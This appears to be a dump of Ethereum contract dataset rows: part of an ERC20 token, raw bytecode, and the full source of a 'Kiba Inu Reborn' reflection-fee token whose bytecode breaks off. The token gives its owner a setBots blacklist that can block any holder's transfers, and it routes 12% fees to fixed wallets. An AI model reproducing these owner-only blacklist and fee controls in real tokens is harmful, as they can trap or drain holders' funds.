* @dev modified transfer function that allows to safely send tokens to smart-contract.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
/**
* @dev Allows to send tokens (via Approve and TransferFrom) to other smart-contract.
* @param spender Address of smart contracts to work with.
* @param amount Amount of tokens to send.
* @param extraData Any extra data.
*/
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
/**
* @dev Allows to register other smart-contracts (to prevent loss of tokens via transfer function).
* @param account Address of smart contracts to work with.
*/
function registerContract(address account) external onlyOwner {
require(_isContract(account), "Token: account is not a smart contract");
_contracts[account] = true;
}
/**
* @dev Allows to unregister registered smart-contracts.
* @param account Address of smart contracts to work with.
*/
function unregisterContract(address account) external onlyOwner {
require(isRegistered(account), "Token: account is not registered yet");
_contracts[account] = false;
}
/**
* @dev Allows to any owner of the contract withdraw needed ERC20 token from this contract (for example promo or bounties).
* @param ERC20Token Address of ERC20 token.
* @param recipient Account to receive tokens.
*/
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).safeTransfer(recipient, amount);
}
/**
* @return true if the address is registered as contract
* @param account Address to be checked.
*/
function isRegistered(address account) public view returns (bool) {
return _contracts[account];
}
/**
* @return true if `account` is a contract.
* @param account Address to be checked.
*/
function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80637d64bcb4116100de578063a9059cbb11610097578063cae9ca5111610071578063cae9ca5114610507578063dd62ed3e146105c2578063f2fde38b146105f0578063fac2c621146106165761018e565b8063a9059cbb1461048f578063aa271e1a146104bb578063c3c5a547146104e15761018e565b80637d64bcb4146103db5780638da5cb5b146103e35780639456fbcc1461040757806395d89b4114610435578063983b2d561461043d578063a457c2d7146104635761018e565b80633092afd51161014b57806340c10f191161012557806340c10f191461034057806342966c681461036c57806370a082311461038957806379cc6790146103af5761018e565b80633092afd5146102d0578063313ce567146102f657806339509351146103145761018e565b806305d2035b1461019357806306fdde03146101af578063095ea7b31461022c57806318160ddd1461025857806322a5dde41461027257806323b872dd1461029a575b600080fd5b61019b61063c565b604080519115158252519081900360200190f35b6101b7610645565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f15781810151838201526020016101d9565b50505050905090810190601f16801561021e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019b6004803603604081101561024257600080fd5b506001600160a01b0381351690602001356106db565b6102606106f8565b60408051918252519081900360200190f35b6102986004803603602081101561028857600080fd5b50356001600160a01b03166106fe565b005b61019b600480360360608110156102b057600080fd5b506001600160a01b038135811691602081013590911690604001356107ae565b610298600480360360208110156102e657600080fd5b50356001600160a01b031661083b565b6102fe6108cb565b6040805160ff9092168252519081900360200190f35b61019b6004803603604081101561032a57600080fd5b506001600160a01b0381351690602001356108d4565b61019b6004803603604081101561035657600080fd5b506001600160a01b038135169060200135610928565b6102986004803603602081101561038257600080fd5b5035610a28565b6102606004803603602081101561039f57600080fd5b50356001600160a01b0316610a35565b610298600480360360408110156103c557600080fd5b506001600160a01b038135169060200135610a50565b610298610a5e565b6103eb610ab5565b604080516001600160a01b039092168252519081900360200190f35b6102986004803603604081101561041d57600080fd5b506001600160a01b0381358116916020013516610ac4565b6101b7610ba3565b6102986004803603602081101561045357600080fd5b50356001600160a01b0316610c04565b61019b6004803603604081101561047957600080fd5b506001600160a01b038135169060200135610c94565b61019b600480360360408110156104a557600080fd5b506001600160a01b038135169060200135610d02565b61019b600480360360208110156104d157600080fd5b50356001600160a01b0316610d59565b61019b600480360360208110156104f757600080fd5b50356001600160a01b0316610d81565b61019b6004803603606081101561051d57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561054d57600080fd5b82018360208201111561055f57600080fd5b8035906020019184600183028401116401000000008311171561058157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610d9f945050505050565b610260600480360360408110156105d857600080fd5b506001600160a01b0381358116916020013516610e9f565b6102986004803603602081101561060657600080fd5b50356001600160a01b0316610eca565b6102986004803603602081101561062c57600080fd5b50356001600160a01b0316610fb3565b60055460ff1681565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106d15780601f106106a6576101008083540402835291602001916106d1565b820191906000526020600020905b8154815290600101906020018083116106b457829003601f168201915b5050505050905090565b60006106ef6106e8611060565b8484611064565b50600192915050565b60025490565b61070733611150565b610746576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b61074f81611164565b61078a5760405162461bcd60e51b8152600401808060200182810382526026815260200180611bce6026913960400191505060405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b60006107bb84848461116a565b610831846107c7611060565b61082c85604051806060016040528060288152602001611aac602891396001600160a01b038a16600090815260016020526040812090610805611060565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112c616565b611064565b5060019392505050565b61084433611150565b610883576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b61089460048263ffffffff61135d16565b6040516001600160a01b038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b60085460ff1690565b60006106ef6108e1611060565b8461082c85600160006108f2611060565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6113c416565b600061093333610d59565b610984576040805162461bcd60e51b815260206004820152601860248201527f43616c6c657220686173206e6f207065726d697373696f6e0000000000000000604482015290519081900360640190fd5b81600081116109d0576040805162461bcd60e51b8152602060048201526013602482015272135a5b9d1a5b99c81e995c9bc8185b5bdd5b9d606a1b604482015290519081900360640190fd5b60055460ff1615610a1e576040805162461bcd60e51b8152602060048201526013602482015272135a5b9d1a5b99c81a5cc8199a5b9a5cda1959606a1b604482015290519081900360640190fd5b6108318484611425565b610a323382611515565b50565b6001600160a01b031660009081526020819052604090205490565b610a5a8282611611565b5050565b610a6733611150565b610aa6576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b6005805460ff19166001179055565b6003546001600160a01b031690565b610acd33611150565b610b0c576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d6020811015610b8057600080fd5b50519050610b9e6001600160a01b038416838363ffffffff61165616565b505050565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106d15780601f106106a6576101008083540402835291602001916106d1565b610c0d33611150565b610c4c576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b610c5d60048263ffffffff6116a816565b6040516001600160a01b038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b60006106ef610ca1611060565b8461082c85604051806060016040528060258152602001611bf46025913960016000610ccb611060565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6112c616565b6001600160a01b03821660009081526009602052604081205460ff1615610d4557604080516000815260208101909152610d3f9084908490610d9f565b506106ef565b610d4f8383611729565b5050600192915050565b6000610d6c60048363ffffffff61173d16565b80610d7b5750610d7b82611150565b92915050565b6001600160a01b031660009081526009602052604090205460ff1690565b6000610dab84846106db565b610db457600080fd5b604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610e2e578181015183820152602001610e16565b50505050905090810190601f168015610e5b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610e7d57600080fd5b505af1158015610e91573d6000803e3d6000fd5b506001979650505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610ed333611150565b610f12576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f575760405162461bcd60e51b8152600401808060200182810382526026815260200180611a1d6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b610fbc33611150565b610ffb576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b61100481610d81565b61103f5760405162461bcd60e51b8152600401808060200182810382526024815260200180611baa6024913960400191505060405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b3390565b6001600160a01b0383166110a95760405162461bcd60e51b8152600401808060200182810382526024815260200180611b5c6024913960400191505060405180910390fd5b6001600160a01b0382166110ee5760405162461bcd60e51b8152600401808060200182810382526022815260200180611a436022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6003546001600160a01b0390811691161490565b3b151590565b6001600160a01b0383166111af5760405162461bcd60e51b8152600401808060200182810382526025815260200180611b376025913960400191505060405180910390fd5b6001600160a01b0382166111f45760405162461bcd60e51b81526004018080602001828103825260238152602001806119d86023913960400191505060405180910390fd5b61123781604051806060016040528060268152602001611a65602691396001600160a01b038616600090815260208190526040902054919063ffffffff6112c616565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461126c908263ffffffff6113c416565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156113555760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561131a578181015183820152602001611302565b50505050905090810190601f1680156113475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b611367828261173d565b6113a25760405162461bcd60e51b8152600401808060200182810382526021815260200180611a8b6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b60008282018381101561141e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216611480576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611493908263ffffffff6113c416565b6002556001600160a01b0382166000908152602081905260409020546114bf908263ffffffff6113c416565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03821661155a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b166021913960400191505060405180910390fd5b61159d816040518060600160405280602281526020016119fb602291396001600160a01b038516600090815260208190526040902054919063ffffffff6112c616565b6001600160a01b0383166000908152602081905260409020556002546115c9908263ffffffff6117a416565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b61161b8282611515565b6001600160a01b038216600090815260016020908152604080832033808552925290912054610a5a91849161082c908563ffffffff6117a416565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b9e9084906117e6565b6116b2828261173d565b15611704576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60006106ef611736611060565b848461116a565b60006001600160a01b0382166117845760405162461bcd60e51b8152600401808060200182810382526022815260200180611af46022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b600061141e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c6565b6117ef8261199b565b611840576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061187e5780518252601f19909201916020918201910161185f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146118e0576040519150601f19603f3d011682016040523d82523d6000602084013e6118e5565b606091505b50915091508161193c576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156119955780806020019051602081101561195857600080fd5b50516119955760405162461bcd60e51b815260040180806020018281038252602a815260200180611b80602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906119cf5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e3a206163636f756e74206973206e6f74207265676973746572656420796574546f6b656e3a206163636f756e74206973206e6f74206120736d61727420636f6e747261637445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820263f2f685c81baffbb43119e0f73e744e2f6008db07f1935c1467af0f41d918664736f6c634300050c0032
|
{"success": true, "error": null, "results": {}}
| 4,468 |
0x8a897ecb3ac6a3ffd87e91e670ce066d3e824634
|
/**
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/KibaInuReborn
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KibaInuReborn is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Kiba Inu Reborn";
string private constant _symbol = "Kiba Inu Reborn";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe6e6366A928382864ab0e9E0f5C3376161c0A633);
_feeAddrWallet2 = payable(0xF024CA68f19a5D01AB641BBEBdAd49B549b3e328);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461029e578063b515566a146102be578063c3c8cd80146102de578063c9567bf9146102f3578063dd62ed3e1461030857600080fd5b806370a0823114610241578063715018a6146102615780638da5cb5b1461027657806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101ce578063313ce567146101f05780635932ead11461020c5780636fc3eaec1461022c57600080fd5b806306fdde031461010e578063095ea7b31461015557806318160ddd1461018557806323b872dd146101ae57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600f81526e25b4b1309024b73a902932b137b93760891b6020820152905161014c919061179b565b60405180910390f35b34801561016157600080fd5b5061017561017036600461163b565b61034e565b604051901515815260200161014c565b34801561019157600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014c565b3480156101ba57600080fd5b506101756101c93660046115fa565b610365565b3480156101da57600080fd5b506101ee6101e9366004611587565b6103ce565b005b3480156101fc57600080fd5b506040516009815260200161014c565b34801561021857600080fd5b506101ee610227366004611733565b610422565b34801561023857600080fd5b506101ee61046a565b34801561024d57600080fd5b506101a061025c366004611587565b610497565b34801561026d57600080fd5b506101ee6104b9565b34801561028257600080fd5b506000546040516001600160a01b03909116815260200161014c565b3480156102aa57600080fd5b506101756102b936600461163b565b61052d565b3480156102ca57600080fd5b506101ee6102d9366004611667565b61053a565b3480156102ea57600080fd5b506101ee6105d0565b3480156102ff57600080fd5b506101ee610606565b34801561031457600080fd5b506101a06103233660046115c1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061035b3384846109cf565b5060015b92915050565b6000610372848484610af3565b6103c484336103bf85604051806060016040528060288152602001611987602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e3e565b6109cf565b5060019392505050565b6000546001600160a01b031633146104015760405162461bcd60e51b81526004016103f8906117f0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461044c5760405162461bcd60e51b81526004016103f8906117f0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048a57600080fd5b4761049481610e78565b50565b6001600160a01b03811660009081526002602052604081205461035f90610efd565b6000546001600160a01b031633146104e35760405162461bcd60e51b81526004016103f8906117f0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061035b338484610af3565b6000546001600160a01b031633146105645760405162461bcd60e51b81526004016103f8906117f0565b60005b81518110156105cc5760016006600084848151811061058857610588611937565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c481611906565b915050610567565b5050565b600c546001600160a01b0316336001600160a01b0316146105f057600080fd5b60006105fb30610497565b905061049481610f81565b6000546001600160a01b031633146106305760405162461bcd60e51b81526004016103f8906117f0565b600f54600160a01b900460ff161561068a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f8565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ca30826b033b2e3c9fd0803ce80000006109cf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070357600080fd5b505afa158015610717573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073b91906115a4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078357600080fd5b505afa158015610797573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bb91906115a4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080357600080fd5b505af1158015610817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083b91906115a4565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086b81610497565b6000806108806000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e357600080fd5b505af11580156108f7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091c919061176d565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099757600080fd5b505af11580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cc9190611750565b6001600160a01b038316610a315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f8565b6001600160a01b038216610a925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f8565b6001600160a01b038216610bb95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f